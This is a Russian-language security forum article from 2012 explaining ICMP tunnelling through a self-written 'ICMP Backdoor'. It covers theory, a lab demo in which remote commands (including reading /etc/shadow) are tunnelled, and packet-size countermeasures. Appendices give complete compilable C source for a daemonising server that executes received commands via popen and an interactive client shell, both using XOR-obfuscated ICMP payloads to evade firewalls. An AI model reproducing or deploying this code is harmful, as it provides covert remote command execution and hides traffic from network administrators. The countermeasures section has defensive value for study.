ICMP Туннелирование

2012-04-29T00:00:00
ID RDOT:2143
Type rdot
Reporter <Gh0St>
Modified 2012-04-29T00:00:00

Description

ICMP Туннелирование

Дата: 29.04.2012
Автор: <Gh0St>

Введение
ICMP-туннель - скрытый канал для передачи данных, организованный между двумя узлами, использующий IP-пакеты с типом протокола ICMP (обычно echo request, echo reply).

Узлы обмениваются сообщениями echo request/echo reply, напоминающими работу утилиты ping, однако содержимым сообщений является информация, передаваемая внутри канала.

Теоретическое обоснование
При стандартном использовании протокола ICMP, например, в утилите ping, учитывается отправка эхо-запроса и ожидание эхо-ответа, а ключевой информацией является тип пакета.
ICMP туннелирование предполагает внедрение произвольных данных в эхо-пакет и передачу его на удалённый компьютер. Удалённый компьютер, получив эхо-запрос, внедряет необходимые данные в эхо-ответ и отправляет пакет назад. Таким образом, осуществляется обмен информацией между двумя конечными узлами сети через ICMP-туннель.
В данной статье рассматривается использование ICMP-туннеля на примере бэкдора или программы удалённого администрирования, как больше нравится.

К преимуществам использования ICMP-туннеля можно отнести отсутствие необходимости использования транспортных протоколов. Это означает, что бэкдор не будет использовать порты для передачи данных, и устанавливать логическое соединение с удалённым компьютером, что делает его работу скрытной и позволяет обходить межсетевые экраны. Поскольку информация передаётся в зашифрованном виде, сетевые администраторы не смогут обнаружить этот тип трафика без глубокого исследования пакетов или просмотра системных журналов.

К недостаткам использования ICMP-туннеля можно отнести его ненадёжность. В отличие от TCP, ICMP и IP-протоколы являются ненадёжными протоколами передачи данных, это означает, что данные, передаваемые по этим протоколам, могут теряться, приходить в искажённом виде или не в том порядке, в котором они были отправлены. Так же к недостаткам можно отнести необходимость запуска бэкдора от имени пользователя root.

Практическая реализация
При изучении ICMP-туннелирования была разработана программа «ICMP Backdoor», серверная часть и клиентская, соответственно.

Практическая деятельность происходила в виртуальной локальной сети, на операционных системах, установленных на виртуальной машине.
Серверная часть бэкдора выполнялась на ОС BackTrack 5 r2. Клиентская часть выполнялась на ОС Ubuntu 11.10. При разработке бэкдора использовались библиотеки libpcap и libnet.

Взаимодействие клиента и сервера происходит следующим образом: клиент посылает команду для сервера в пакете эхо-запроса. Сервер принимает эту команду, выполняет, и отправляет ответ клиенту в пакете эхо-ответа. Передаваемые данные шифруются. Следует отметить, что шифрование реализовано на прикладном уровне, т.е. в самой программе и представляет собой шифрование оператором xor с использованием (заранее подготовленного) ключа.

Структурная схема алгоритма главной функции сервера представлена на рисунке 1.


Рисунок 1 – Структурная схема алгоритма главной функции сервера

Вначале создаётся сессия перехвата, стандартная операция при использовании библиотеки libpcap. Следующий шаг – установка фильтра для захвата только эхо-запросов. Затем сервер отсоединяется от управляющего терминала и становится демоном. И, наконец, запускается бесконечный цикл захвата пакетов, в котором происходит захват (эхо) пакетов и их последующая обработка. Структурная схема алгоритма функции захвата пакетов представлена на рисунке 2.


Рисунок 2 - Структурная схема алгоритма функции захвата пакетов

При захвате пакета, выполняется расшифровка переданной команды и её последующее выполнение. Затем ответ шифруется и отправляется клиенту в виде эхо-ответа.

Структурная схема алгоритма главной функции клиента представлена на рисунке 3. Вначале создаётся сессия перехвата, затем выполняется установка фильтра для захвата только эхо-ответов. Захват пакетов осуществляется в дочернем процессе, в то время, как родительский процесс ожидает ввод команд пользователя. После ввода команды, она (команда) шифруется и отправляется на сервер в виде эхо-запроса. Если пользователь ввёл команду «exit», клиент завершит свою работу и работу дочернего процесса.


Рисунок 3 – Структурная схема алгоритма главной функции клиента

Структурная схема алгоритма функции захвата пакетов представлена на рисунке 4. При захвате пакета, информация расшифровывается и выводится на терминал.


Рисунок 4 - Структурная схема алгоритма функции захвата пакетов

Ход работы
Вначале работы, сервер и клиент были запущены без поддержки шифрования.

На рисунке 5 показана работа с серверной частью. Из рисунка видно, что была запущена серверная часть бэкдора, которая выполняется, как демон (pid 2437), а IP-адрес сервера 192.168.1.4.


Рисунок 5 – Серверная часть

На рисунке 6 показана работа с клиентской частью. Из рисунка видно, что была запущена клиентская часть бэкдора для обмена данными с сервером (по адресу 192.168.1.4), а IP-адрес клиента 192.168.1.5.

Серверу были отправлены 2 команды: «uname -a» и «ifconfig | head –n 2», из ответа сервера видно, что ICMP-туннель действительно создан и по нему происходит обмен информацией.


Рисунок 6 – Клиентская часть

Возвращаясь к серверной части, следует обратить внимание на состояние портов и активных подключений. Из рисунка 7 видно, что все 65535 портов на сервере закрыты, а логическое соединение между клиентом и сервером не устанавливается.


Рисунок 7 – Состояние портов и соединений

Поскольку данные передаются в открытом виде, их можно просмотреть с помощью сниффера, например, Wireshark. На рисунке 8 показан эхо-запрос клиента к серверу.
Из рисунка видно, что клиент (192.168.1.5) отправил Echo запрос серверу (192.168.1.4) по протоколу ICMP. А пакет содержит в себе команду «uname -a».


Рисунок 8 – Эхо-запрос

На рисунке 9 показан ответ сервера. Из рисунка видно, что, сервер (192.168.1.4) отправил клиенту (192.168.1.5) пакет Echo reply по протоколу ICMP. А пакет содержит в себе ответ на команду «uname -a».


Рисунок 9 – Эхо-ответ

Следующий шаг – обмен данными между клиентом и сервером с поддержкой шифрования. Клиент посылает серверу команду «uname -a», сервер выполняет эту команду и отправляет клиенту ответ. Передаваемые данные шифруются. На рисунке 10 показана серверная часть: сервер бэкдора (pid 1987), IP-адрес (192.168.1.4) и результат выполнения команды «uname -a»


Рисунок 10 – Серверная часть

На рисунке 11 показана клиентская часть. Из рисунка видно, что клиент создал ICMP-туннель к серверу (192.168.1.4) и отправил команду «uname -a», сервер выполнил эту команду и вернул ответ клиенту.


Рисунок 11 – Клиентская часть

С помощью сниффера Wireshark были захвачены передаваемые пакеты. Содержимое пакетов представлено на рисунках 12 и 13. Из рисунков 12 и 13 видно, что данные действительно передаются в зашифрованном виде.


Рисунок 12 – Зашифрованный эхо-запрос


Рисунок 13 – Зашифрованный эхо-ответ

Меры противодействия
Очевидной мерой противодействия скрытому ICMP-туннелю является полное блокирование ICMP трафика, что не всегда является допустимым. Существует ещё один способ определить, является ли ICMP пакет вредоносным, этот способ заключается в просмотре размера ICMP пакета.

На рисунке 14 показаны пакеты эхо-запроса и эхо-ответа, отправленные программой ping. Из рисунка видно, что размер обоих пакетов равен 98 байт.


Рисунок 14 – Эхо-запрос и эхо-ответ утилиты ping

На рисунке 15 показаны пакеты, которые сервер отправил клиенту в ответ на команду «uname -a» и «cat /etc/shadow». Из рисунка видно, что размер пакета, содержащего ответ команды «uname –a» равен 108 байт, а размер пакета, содержащего ответ команды «cat /etc/shadow» равен 1010 байт.


Рисунок 15 – Эхо-запрос и эхо-ответ бэкдора

Таким образом, для блокирования вредоносного трафика, можно фильтровать ICMP пакеты по их размеру. Но даже такая мера не даёт стопроцентной защищённости.

Заключение
Подводя итог, можно сделать вывод, что ICMP-туннель (с поддержкой шифрования) действительно является надёжным (не учитывая специфики протокола) и скрытным каналом передачи данных, который может использоваться в тех случаях, когда передать информацию другим путём, например, используя транспортные протоколы, становится невозможно.

Так же ICMP-туннель справляется с задачей обхода межсетевых экранов, а трафик, передаваемый внутри туннеля, становится сложно обнаружить.

Существующие методы противодействия трафику, передаваемому внутри ICMP-туннеля, не дают стопроцентной защищённости, а полное блокирование ICMP трафика не всегда возможно.

Приложение А - Видео
Ссылка на видео
Пароль к архиву: rdot.org

Приложение Б - Исходный код серверной части бэкдора

Код:

/***********************************************************************************************************************************
ICMP backdoor v0.1                                                  
backdoor (серверная часть), инкапсулирующий данные в ICMP пакетах.

Автор: &lt;Gh0St&gt;

Компиляция:                                                         
gcc -o icmp_backdoor_server icmp_backdoor_server.c `libnet-config --defines` `libnet-config --libs` `libnet-config --cflags` -lpcap
************************************************************************************************************************************/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;pcap.h&gt;
#include &lt;libnet.h&gt;

#define COM_LEN 100 // длина команды
#define ANSWER_LEN 2048 // длина ответа
#define OFFSET 42 // смещение в ICMP пакете

#define CRYPT_KEY 217356 // ключ шифрования. Ключи сервера и клиента должны быть идентичны

//-------------------------------------------------------------------------------------------------------------
struct libnet_data{
    libnet_t *lc;
    unsigned long dst_ip; // адрес получателя (клиента)
    libnet_ptag_t ip, icmp;
    u_int16_t id, seq;
    u_char answer[ANSWER_LEN]; // буфер для ответа
    int ans_len; // длина ответа
};
//--------------------------------------------------------------------------------------------
void set_packet_filter(pcap_t *, const char *); // установить фильтр для пакетов
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); // захват пакетов
void crypt_data(u_char *); // шифрование и дешифрование данных
void parse_string(u_char *); // поиск и удаление символа перевода строки

void send_answer(struct libnet_data *); // отправить ответ
//--------------------------------------------------------------------------------------------
int main(int argc, char *argv[]){
    struct libnet_data l_data;
    char *device; // сетевой интерфейс для прослушки трафика
    char errbuf[PCAP_ERRBUF_SIZE];
    pcap_t *pcap_handle;

    if(getuid() != 0){
        printf("[!] Run %s as root\n", argv[0]);
        exit(-1);
    }

    // если сетевой интерфейс не указан явно, выбрать подходящий автоматически
    if(argc &gt; 1)
        device = argv[1];
    else
        device = pcap_lookupdev(errbuf);

    if(device == NULL){
        printf("[!] %s\n", errbuf);
        exit(-1);
    }

    // libnet
    //--------------------------------------------------------
    l_data.lc = libnet_init(LIBNET_RAW4, device, errbuf);
    if(l_data.lc == NULL){
        printf("[!] %s\n", errbuf);
        exit(-1);
    }

    libnet_seed_prand(l_data.lc);
    l_data.seq = 1;
    l_data.icmp = l_data.ip = LIBNET_PTAG_INITIALIZER;
    //--------------------------------------------------------

    pcap_handle = pcap_open_live(device, BUFSIZ, 1, 0, errbuf);
    if(pcap_handle == NULL){
        printf("[!] %s\n", errbuf);
        libnet_destroy(l_data.lc);
        exit(-1);
    }

    // захватывать только пакеты эхо-запросов
    set_packet_filter(pcap_handle, "icmp[icmptype]=icmp-echo");

    // отсоединиться от управляющего терминала
    if(daemon(1, 0) == -1){
        printf("[!] Daemon error\n");
        pcap_close(pcap_handle);
        libnet_destroy(l_data.lc);
        exit(-1);
    }

    // захват пакетов
    if(pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&l_data)){
        pcap_close(pcap_handle);
        libnet_destroy(l_data.lc);
        exit(-1);
    }

    pcap_close(pcap_handle);
    return 0;
}
//--------------------------------------------------------------------------------------------
void set_packet_filter(pcap_t *pcap_hdl, const char *filter_string){
    struct bpf_program filter;

    if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1){
        printf("[!] Compile filter error: %s\n", pcap_geterr(pcap_hdl));
        exit(-1);
    }

    if(pcap_setfilter(pcap_hdl, &filter) == -1){
        printf("[!] Set filter error: %s\n", pcap_geterr(pcap_hdl));
        exit(-1);
    }
}
//--------------------------------------------------------------------------------------------
void caught_packet(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet){  
    struct libnet_data *l_data = (struct libnet_data *)args;
    struct iphdr *ip_header = NULL;
    char command[COM_LEN];
    char tmp_a[100];
    FILE *f;

    // обнулить буферы
    bzero(&command, COM_LEN);
    bzero(l_data-&gt;answer, ANSWER_LEN);
    bzero(&tmp_a, 100);
    memcpy(command, packet + OFFSET, COM_LEN); // считать команду

    ip_header = (struct iphdr *)(packet + 14);
    l_data-&gt;dst_ip = ip_header-&gt;saddr; // адрес получателя

    crypt_data((u_char *) &command); // расшифровать команду
    parse_string((u_char *) &command); // удалить символ перевода строки

    if((f = popen(command, "r")) == NULL) // выполнить команду
        return;

    while(fgets(tmp_a, 100, f) != NULL){ // записать ответ команды
        strncat(l_data-&gt;answer, tmp_a, ANSWER_LEN);
    }

    crypt_data((u_char *) l_data-&gt;answer); // зашифровать ответ
    send_answer(l_data); // отправить ответ
    pclose(f);
}
//--------------------------------------------------------------------------------------------
void crypt_data(u_char *com){
    int i;
    for(i = 0; i &lt; strlen(com); i++)
        com[i] = com[i] ^ CRYPT_KEY; // шифрование оператором xor с использованием ключа
}
//-------------------------------------------------------------------------------------------------------------
void parse_string(u_char *str){
    int i;
    for(i = 0; i &lt; strlen(str); i++)
        if(str[i] == '\n')
            str[i] = '\0';
}
//-------------------------------------------------------------------------------------------------------------
void send_answer(struct libnet_data *l_data){
    libnet_clear_packet(l_data-&gt;lc);

    l_data-&gt;ans_len = strlen(l_data-&gt;answer);
    l_data-&gt;id = (u_int16_t)libnet_get_prand(LIBNET_PR16);

    l_data-&gt;icmp = libnet_build_icmpv4_echo(
                      ICMP_ECHOREPLY // тип пакета (эхо-ответ)
                    , 0 // код
                    , 0 // контрольная сумма (автозаполнене)
                    , l_data-&gt;id // id
                    , l_data-&gt;seq // seq
                    , (u_int8_t *)l_data-&gt;answer // нагрузка
                    , (u_int32_t)l_data-&gt;ans_len // длиная нагрузки
                    , l_data-&gt;lc // l
                    , 0 // ptag
                    );
    if(l_data-&gt;icmp == -1){
        return;
    }

    l_data-&gt;ip = libnet_autobuild_ipv4(
                      LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + l_data-&gt;ans_len // длина
                    , IPPROTO_ICMP // протокол (ICMP)
                    , l_data-&gt;dst_ip // адрес получателя (клиента)
                    , l_data-&gt;lc);
    if(l_data-&gt;ip == -1){
        return;
    }

    // отправить пакет
    if(libnet_write(l_data-&gt;lc) == -1){
        return;
    }

//  l_data-&gt;seq++;
}
//-------------------------------------------------------------------------------------------------------------

Приложение В - Исходный код клиентской части бэкдора

Код:

/***********************************************************************************************************************************
ICMP backdoor v0.1
backdoor (клиентская часть), инкапсулирующий данные в ICMP пакетах.

Автор: &lt;Gh0St&gt;

Компиляция:
gcc -o icmp_backdoor_client icmp_backdoor_client.c `libnet-config --defines` `libnet-config --libs` `libnet-config --cflags` -lpcap
************************************************************************************************************************************/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;signal.h&gt;
#include &lt;pcap.h&gt;
#include &lt;libnet.h&gt;

#define COM_LEN 100 // длина команды
#define ANSWER_LEN 2048 // длина ответа
#define OFFSET 42 // смещение в ICMP пакете

#define CRYPT_KEY 217356 // ключ шифрования. Ключи сервера и клиента должны быть идентичны
//--------------------------------------------------------------------------------------------------------------
struct libnet_data{
    libnet_t *lc;
    unsigned long dst_ip; // адрес получателя (сервера)
    libnet_ptag_t ip, icmp;
    u_int16_t id, seq;
    u_char command[COM_LEN]; // буфер для команды
    int com_len; // длина команды
};

//--------------------------------------------------------------------------------------------------------------
// вернуть символьный указатель на IP-адрес в виде ххх.ххх.ххх.ххх
char *print_ip(u_long *ip_addr_ptr) { return inet_ntoa(*((struct in_addr *)ip_addr_ptr)); }
void crypt_data(u_char *); // шифрование и дешифрование данных
void send_command(struct libnet_data *); // отправить команду серверу

void set_packet_filter(pcap_t *, const char *); // установить фильтр для пакетов
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); // захват пакетов
//--------------------------------------------------------------------------------------------------------------
int main(int argc, char *argv[]){
    struct libnet_data l_data;
    pcap_t *pcap_handle;
    u_char *device, errbuf[LIBNET_ERRBUF_SIZE], shell_str[30];
    pid_t pid;


    if(argc &lt; 2){
        printf("[!] Usage: %s &lt;Target IP&gt; [Interface]\n", argv[0]);
        exit(-1);
    }
    else
        l_data.dst_ip = inet_addr(argv[1]);

    if(getuid() != 0){
        printf("[!] Run %s as root\n", argv[0]);
        exit(-1);
    }

    // если сетевой интерфейс не указан явно, выбрать подходящий автоматически
    if(argc &gt; 2)
        device = argv[2];
    else
        device = pcap_lookupdev(errbuf);

    if(device == NULL){
        printf("[!] %s\n", errbuf);
        exit(-1);
    }

    // libpcap
    //--------------------------------------------------
    pcap_handle = pcap_open_live(device, BUFSIZ, 1, 0, errbuf);
    if(pcap_handle == NULL){
        printf("[!] %s\n", errbuf);
        exit(-1);
    }

    // захватывать только пакеты эхо-ответов
    set_packet_filter(pcap_handle, "icmp[icmptype]=icmp-echoreply");

    // запустить дочерний процесс
    if((pid = fork()) &lt; 0){
        printf("[!] Fork error\n");
        pcap_close(pcap_handle);
        exit(-1);
    }
    else if(pid == 0){ // захватывать пакеты в дочернем процессе
        if(pcap_loop(pcap_handle, -1, caught_packet, NULL)){
            printf("[!] Loop error\n");
            pcap_close(pcap_handle);
            exit(-1);
        }
    }
    // с родительского процесса отправлять команды
    //--------------------------------------------------

    l_data.lc = libnet_init(LIBNET_RAW4, device, errbuf);
    if(l_data.lc == NULL){
        printf("[!] %s\n", errbuf);
        kill(pid, 9);
        pcap_close(pcap_handle);
        exit(-1);
    }

    libnet_seed_prand(l_data.lc);
    l_data.seq = 1;
    l_data.icmp = l_data.ip = LIBNET_PTAG_INITIALIZER;

    printf("=======[ICMP Backdoor Client v0.1]=======\n");
    printf("==============[By &lt;Gh0St&gt;]===============\n");
    printf("[*] Using interface: %s\n", device);
    printf("[*] Tunnel to %s\n", print_ip((u_long *)&l_data.dst_ip));
    snprintf(shell_str, sizeof(shell_str), "%s@shell&gt; ", print_ip((u_long *)&l_data.dst_ip));

    while(1){
        printf("%s", shell_str);
        bzero(l_data.command, COM_LEN);
        fgets(l_data.command, COM_LEN, stdin); // получить команду от пользователя

        if(strlen(l_data.command) == 1)
            continue;

        l_data.com_len = strlen(l_data.command);
        l_data.id = (u_int16_t)libnet_get_prand(LIBNET_PR16);

        if(!strncmp(l_data.command, "exit", 4))
            break;

        crypt_data((u_char *)&l_data.command); // зашифровать команду
        send_command(&l_data); // отправить команду
    }

    printf("[*] Close tunnel\n");
    kill(pid, 9); // завершить дочерний процесс
    libnet_destroy(l_data.lc);
    pcap_close(pcap_handle);
    exit(0);
}
//--------------------------------------------------------------------------------------------------------------
void send_command(struct libnet_data *l_data){
    libnet_clear_packet(l_data-&gt;lc);

    l_data-&gt;icmp = libnet_build_icmpv4_echo(
                      ICMP_ECHO // тип пакета (эхо-запрос)
                    , 0 // код
                    , 0 // контрольная сумма (автозаполнене)
                    , l_data-&gt;id // id
                    , l_data-&gt;seq // seq
                    , (u_int8_t *)l_data-&gt;command // нагрузка
                    , (u_int32_t)l_data-&gt;com_len // длиная нагрузки
                    , l_data-&gt;lc // l
                    , 0 // ptag
                    );
    if(l_data-&gt;icmp == -1){
        printf("[!] Error building ICMP packet: %s\n", libnet_geterror(l_data-&gt;lc));
        return;
    }

    l_data-&gt;ip = libnet_autobuild_ipv4(
                      LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + l_data-&gt;com_len // длина
                    , IPPROTO_ICMP // протокол (ICMP)
                    , l_data-&gt;dst_ip // адрес получателя (сервера)
                    , l_data-&gt;lc);
    if(l_data-&gt;ip == -1){
        printf("[!] Error building IP packet\n");
        return;
    }

    // отправить пакет
    if(libnet_write(l_data-&gt;lc) == -1){
        printf("[!] Error sending packet: %s\n", libnet_geterror(l_data-&gt;lc));
        return;
    }

    //l_data-&gt;seq++;
}
//--------------------------------------------------------------------------------------------------------------
void crypt_data(u_char *com){
    int i;
    for(i = 0; i &lt; strlen(com); i++)
        com[i] = com[i] ^ CRYPT_KEY; // шифрование оператором xor с использованием ключа
}
//--------------------------------------------------------------------------------------------------------------
void set_packet_filter(pcap_t *pcap_hdl, const char *filter_string){
    struct bpf_program filter;

    if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1){
        printf("[!] Compile filter error: %s\n", pcap_geterr(pcap_hdl));
        exit(-1);
    }

    if(pcap_setfilter(pcap_hdl, &filter) == -1){
        printf("[!] Set filter error: %s\n", pcap_geterr(pcap_hdl));
        exit(-1);
    }
}
//--------------------------------------------------------------------------------------------------------------
void caught_packet(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet){  
    char answer[ANSWER_LEN];

    bzero(&answer, ANSWER_LEN); // обнулить буфер
    memcpy(answer, packet + OFFSET, ANSWER_LEN); // считать ответ

    crypt_data((u_char *) &answer); // расшифровать ответ
    answer[strlen(answer)] = 0;

    // вывести ответ на терминал
    write(STDOUT_FILENO, answer, strlen(answer));
}
//--------------------------------------------------------------------------------------------------------------